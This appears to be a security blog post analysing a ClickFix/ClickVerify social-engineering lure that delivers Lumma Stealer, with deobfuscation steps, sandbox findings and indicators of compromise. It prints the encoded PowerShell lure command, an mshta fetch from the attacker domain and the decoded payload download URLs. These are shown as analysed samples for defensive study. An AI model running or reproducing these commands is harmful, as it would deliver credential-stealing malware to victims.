Recently, we observed a high number of users been infected by Lumma Stealer. Upon investigating, we observed that the user been infected thru same vector; “Clickfix” infection chain. The attack chain begins with users being lured to visit seemingly legitimate but compromised websites. Upon visiting, victims are redirected to domains hosting fake popup windows that instruct them to paste a script into a PowerShell terminal.

Another variant that we observed is “ClickVerify”, where it utilize “Windows button + R” or Run function on Windows to execute the PowerShell command.

The “ClickFix”/”ClickVerify” infection chain represents a sophisticated form of social engineering, leveraging the appearance of authenticity to manipulate users into executing malicious scripts. These compromised websites are often carefully crafted to look genuine, increasing the likelihood of user compliance. Once the script is pasted and executed, it allows the malware to infiltrate the victim’s system, potentially leading to data theft, system compromise, or further propagation of the malware.

ClickFix/ClickVerify

User will be redirected/served with website displaying an error message indicating that the browser is encountering issues displaying the webpage. The site provides steps to fix the problem, which are designed to deceive users into executing malicious actions.

Example of ClickFix pop-up:

Figure 1 : ClickFix Pop-Up

Different with ClickFix, ClickVerify tricking user to verify the user as human by clicking the “I’m not a robot” button – similar to CAPTCHA function that normally used to fend of spammers/robots.

Example of ClickVerify pop-up:

Figure 2: ClickVerify Pop-Up

Figure 3: The “Verification Steps”

It directs the target user to perform the following steps:

  • Click on the “Copy Fix” or “I’m not a robot” button.
  • Press Windows button + R
  • Press CTRL-V
  • Press ENTER

If followed the instruction, it will looks something like this:

Figure 4: The “Fix”/“Verification” process

As we can see, the method is towards the same outcome; asking the user to paste and execute the given PowerShell command. But what is it? What does the PowerShell do? Let’s find out.

The copied PowerShell command as below:

powershell.exe -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAHYAZQByAGkAZgAuAGQAbAB2AGkAZABlAG8AcwBmAHIAZQAuAGMAbABpAGMAawAvADIAbgBkAGgAcwBvAHIAdQA=

Seems like it’s a Base64-encoded PowerSehll command. When we decode it, we’ll get another command line:

mshta hxxps://verif.dlvideosfre.click/2ndhsoru

The file “2ndhsoru” appear to be a loader/dropper for Lumma Stealer that we’ll dissect next.

The Loader

Triage

We’ll start by doing the basic triage; this is performed to know more about the file details and structure (either its packed, the compiler, language used, etc.).

Here we see that its compiler/written in C/C++ programming language. Also it detecting the file is packed with something – also an indicator that the file probably embedded with something else.

Figure 5: DIE Details

Since we observed this file executed by mshta, we’re guessing the file embedded with JS or VBS code.

Searching at strings found there are 2 JS <script> tagging:

Figure 6: JS <script> tags at strings output

To see what are the tag used for (the full code), right click > “Follow in” > “Hex”:

Figure 7: Follow in Hex menu

We’ll get view as follow:

Figure 8: <script> 1 usage

Figure 9: <script> 2 usage

It is confirmed that the <script> tagging was embedded in the file to be executed via mshta. Next, we’re going to extract those Jscript for further analysis.

Dumping JS Content

To dump both data/content, select all data starting from tag <script> down until </script>. Then, right click > Dump to file (or press Ctrl-D):

Figure 10: Dump to file

Or use this Python script:

import sys
import binascii

def extract_all_scripts(file_path):
    # Read the binary file
    with open(file_path, "rb") as file:
        content = file.read()

    # Convert binary content to hexadecimal
    hex_content = binascii.hexlify(content).decode('utf-8')

    # Define the hex values for <script> and </script> tags
    script_start = "3c7363726970743e"  # <script>
    script_end = "3c2f7363726970743e"  # </script>

    start_pos = 0
    scripts = []

    while True:
        # Find the start and end positions of the script tags
        start_pos = hex_content.find(script_start, start_pos)
        if start_pos == -1:
            break
        end_pos = hex_content.find(script_end, start_pos)
        if end_pos == -1:
            break

        # Extract the content between the script tags, including the tags
        end_pos += len(script_end)
        extracted_hex = hex_content[start_pos:end_pos]

        # Convert the extracted hex to ASCII
        extracted_script = binascii.unhexlify(extracted_hex).decode('utf-8')
        scripts.append(extracted_script)

        # Move the start position forward to search for the next script tag
        start_pos = end_pos

    return scripts

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("Usage: python hta-jscript_extractor.py <binary_file>")
        print("Author: @mohdkhairulazam")
        sys.exit(1)

    file_path = sys.argv[1]
    extracted_scripts = extract_all_scripts(file_path)

    if extracted_scripts:
        print("Extracted <script> content:\n")
        for idx, script in enumerate(extracted_scripts):
            print(f"[+] Script {idx + 1}:\n{script}\n")
    else:
        print("[!] No script tags found in the file.")

The output should look like this:

$ python hta-jscript_extractor.py 2ndhsoru
Extracted <script> content:

[+] Script 1:
<script>
twe=102;Ewr=117;ZFD=110;bwR=99;kfY=116;Nrn=105;ANN=111;Zho=32;nCT=65;eXo=85;ndB=81;VgE=40;sJb=106;QUt=73;rPm=41;nkV=123;MQZ=118;fYY=97;DTP=114;qRu=72;Yvi=100;PoT=61;PPz=34;TUh=59;Lks=103;TiS=119;CAR=48;xRH=60;OHE=46;cRM=108;pCs=101;hsZ=104;Lca=43;SXV=115;Wsv=83;sTn=109;fkl=67;xnQ=91;cad=93;aAg=45;Omx=57;meR=56;per=125;TIG=121;rjc=113;vbY=49;LWo=44;Qwh=55;bsO=50;bES=51;vkb=54;tDk=52;YkO=53;dCo=74;wMc=122;fFE=88;nhz=79;EOe=98;syq=82;var Kll = String.fromCharCode(twe,Ewr,ZFD,bwR,kfY,Nrn,ANN,ZFD,Zho,nCT,eXo,ndB,VgE,sJb,QUt,twe,rPm,nkV,MQZ,fYY,DTP,Zho,twe,qRu,<snip>

Ensure save both extracted script code for next step.

Figure 11: JS <script> 1

Figure 12: JS <script> 2

There are 59 variables were defined and String.fromCharCode method were used to converts Unicode values to characters.

The converted characters values then stored into var “K11” and called/executed in next JS script using “eval(K11)”.

Debugging JS

To debug the extracted JS code, we just simply use this website – https://onecompiler.com/javascript

Copy the variables and functions as below to the online compiler:

twe = 102;
Ewr = 117;
<snip>
EOe = 98;
syq = 82;

var Kll = String.fromCharCode(twe, Ewr,<snip>,rPm, TUh)

console.log(Kll);

In the extracted JS code, we can see that the var “Kll” is execute via “eval(Kll)”. So here, we change that into “console.log” (print to terminal) function.

Run the code above and we’ll get output as below:

Figure 13 : JS 1st Stage Debug Output

Seems like it has 2nd stage of JS obfuscation. Let’s debug it further.

Again, we’ll debug the code using same website.

Figure 14 : JS 2nd Stage Debug Code

We’re going to debug and figure out what are those 2 variable (“yqi” & “AdU”) represent/used for.

After the 2nd stage debug, we can see the output as below:

Figure 15 : JS 2nd Stage Debug Output

We can see that var “yqi” is actually a PowerShell command. The var “AdU” resolved as “WScript.Shell”.

The script has several eye-catching strings/functions – function on creating an AES decryptor (CreateDecryptor), a hardcoded key, and then a large (what seems like) a block of hexadecimal data.

There are also “System.Security.Cryptography.Aes” function – [https://learn.microsoft.com/en-us/dotnet/api/system.security.cryptography.aes?view=net-8.0]; which suggest that the script is using AES cryptography for its encryption.

Next, we’re going to deobfuscate the PowerShell code.

Deobfuscate PowerShell

To deobfuscate the script, we’ll use this CyberChef recipe, key from “$VcUSD.Key” and content inside “fALRGP”:

AES_Decrypt({'option':'Hex','string':'49757A7671694556416B6452535A6D51'},{'option':'Hex','string':'0000000000000000000000000000000'},'CBC','Hex','Raw',{'option':'Hex','string':''},{'option':'Hex','string':''})
Generic_Code_Beautify()
Syntax_highlighter('powershell')

We’ll get output as follow:

Figure 16 : Final JS Debug Output

We can see that the PowerShell in obfuscated but there are some strings that can help for use to guess the script purpose.

In the code, we see that function “aDN” is used to translate an array of numbers into a string. Each number is manipulated by subtracting a constant value (Here’s its “6735”. It my different from other code) and converting the result into a character.

To what are those arrays represent for, we going to debug the code here – https://tio.run/#powershell

We basically re-using the function and converting the arrays to string.

Figure 17 : Deobfuscated PowerShell Code

After running the code above, we’ll get output as follow:

Deobfuscated 1: Net.WebClient
Deobfuscated 2: hxxps://verif.dlvideosfre.click/K1.zip
Deobfuscated 3: hxxps://verif.dlvideosfre.click/K2.zip

The script is used to download a file; named “K1.zip” and “K2.zip” from a “verif[.]dlvideosfre[.]click”, save it as a ZIP archive in the “Temp” directory, and then extract and execute the first file within the ZIP.

The final file appears to be downloading and executing malicious file known as Lumma Stealer.

“Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor “Shamel”, who goes by the alias “Lumma”. Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim’s machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent “TeslaBrowser/5.5″.” The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.” – https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

LummaC2/ Lumma Stealer

Now we know that the initial ClickFix/ClickVerify is delivering Lumma Stealer ton infect the user.

It’s usually coming from legitimate but compromised website –> serving popup window with instructions –> victim copies/pastes script into PowerShell window –> PowerShell script retrieves & runs Lumma Stealer malware

Based on DIE, it says the file is C/C++:

Figure 18 : DIE Output

And it uses Inno Setup Compiler:

Figure 19 : PEStudio Output

Since we know that the file was created using Inno Setup compiler, we can try to extract it using innoextract.

But when tried to extract it, its fails:

Figure 20 : Innoextract Output

Not sure it fails. Next, we try to extract manually using 7Zip.

The “version.txt” file inside folder “.rsrc” says “This installation was built with Inno Setup.”.

Figure 21 : version.txt data Content

From “.text” data section, found Golang unique build ID:

Go build ID: "I02Op2e6ZD52OJInVolF/WhWwGUgukvawTLHcS4qp/JRt-viKYTSxP5iPbw61-/YvGlO_o90qCaatDjB2in"

The Go Build ID is a hash of the filenames of the compiled files, plus the version of the compiler. Probably we can use this as an indicator to hunt/identify this specific build.

Also observed several interesting strings from “.data”:

go1.23.0
dep       github.com/LazarenkoA/TelegramBot       v0.0.0-20220401101655-313507d1df1c            h1:vDzZ9tRe6yqExp/7b/qo5jrsVAjPIrakuV4OLGa3Wu0=
dep       github.com/brianvoe/gofakeit      v3.18.0+incompatible            h1:wDOmHc9DLG4nRjUVVaxA+CEglKOW72Y5+4WNxUIkjM8=

It uses the latest GoLang latest release – Go 1.23.0. Also observed it uses these 2 external library/modules – “LazarenkoA/TelegramBot” – “Telegram bot interacts with 1C:Fresh, sends jenkins cf, cfe to it, plans and tracks node updates, builds various analytical graphs” and “brianvoe/gofakeit” – “Random fake data generator written in go.”

CAPA Analysis

CAPA output of the file (Lumma Stealer) shows several capabilities; anti-debugger/vm, has encrypt/decrypt capability (AES, RC4, 3DES), etc.

But the one of catches my eyes is that the file has “Allocate Thread Local Storage” capabilities together with create, suspend, resume, and terminate process. This may indicate that the file is leveraging Process Injection techniques and Process Injection: Thread Local Storage sub-techniques.

Figure 22 : CAPA Output

Dynamic Analysis

Based on Hybrid-Analysis report – https://hybrid-analysis.com/sample/7514d84ca507562a346896ff48a57d1d475f3cfed16e5e6abefd33a97c6323b9/66cd97d6bf76e2ab680977f4

Observed that after the execution, it spawned new process named “BitLockerToGo.exe”. Probably this process is used as sacrificial process to inject with malicious code.

Also in the report, it mentioned that the file tried to writes data to a remote process:

"VectirFree.exe" wrote 000011C0 bytes to a remote process "%WINDIR%\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" (Handle: 612)
"VectirFree.exe" wrote 00000008 bytes to a remote process "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" (Handle: 612)
"VectirFree.exe" wrote 00000004 bytes to a remote process "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" (Handle: 612)
"VectirFree.exe" wrote 0005A000 bytes to a remote process "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe" (Handle: 612)

This also may explain why we saw output from CAPA saying that the file is using Windows API function that related to Process Injection.

The file also writes several files; mostly on users “Public” and “Libraries”:

"VectirFree.exe" writes file "%USERPROFILE%\libraries\edhdf.scif"
"VectirFree.exe" writes file "C:\Users\%USERNAME%\libraries\pmibe.scif"
"VectirFree.exe" writes file "%public%\libraries\edhdf.scif"
"VectirFree.exe" writes file "%public%\libraries\pmibe.scif"

IOC

Here are the IOCs and VT report from this analysis:

IOCType
ch3.dlvideosfre.clickDomain
verif.dlvideosfre.clickDomain
hxxp://ch3.dlvideosfre.click/human-verify-system.htmlURL
hxxps://verif.dlvideosfre.click/2ndhsoruURL
hxxps://verif.dlvideosfre.click/K1.zipURL
hxxps://verif.dlvideosfre.click/K2.zipURL
celebratioopz.shopC2
hxxps://futureddospzmvq.shop/apiC2
hxxps://writerospzm.shop/apiC2
File NameSHA256 HashVT Report
2ndhsoru7d6ee310f1cd4512d140c94a95f0db4e76a7171c6a65f5c483e7f8a08f7efe78[1]
K1.zipca5c90bb87d4cb3e008cf85c2af5ef8b198546586b6b3c50cd00d3e02514e8b8[2]
K2.zip7fbbbfb9a886e43756b705317d3dff3bc0b1698007512d4c42d9df9c955780ce[3]
VectirFree.exe7514d84ca507562a346896ff48a57d1d475f3cfed16e5e6abefd33a97c6323b9[4]

VT Report Link:

[1] https://www.virustotal.com/gui/file/7d6ee310f1cd4512d140c94a95f0db4e76a7171c6a65f5c483e7f8a08f7efe78
[2] https://www.virustotal.com/gui/file/ca5c90bb87d4cb3e008cf85c2af5ef8b198546586b6b3c50cd00d3e02514e8b8
[3] https://www.virustotal.com/gui/file/7fbbbfb9a886e43756b705317d3dff3bc0b1698007512d4c42d9df9c955780ce
[4] https://www.virustotal.com/gui/file/7514d84ca507562a346896ff48a57d1d475f3cfed16e5e6abefd33a97c6323b9/detection

By zam

Any Comments?

This site uses Akismet to reduce spam. Learn how your comment data is processed.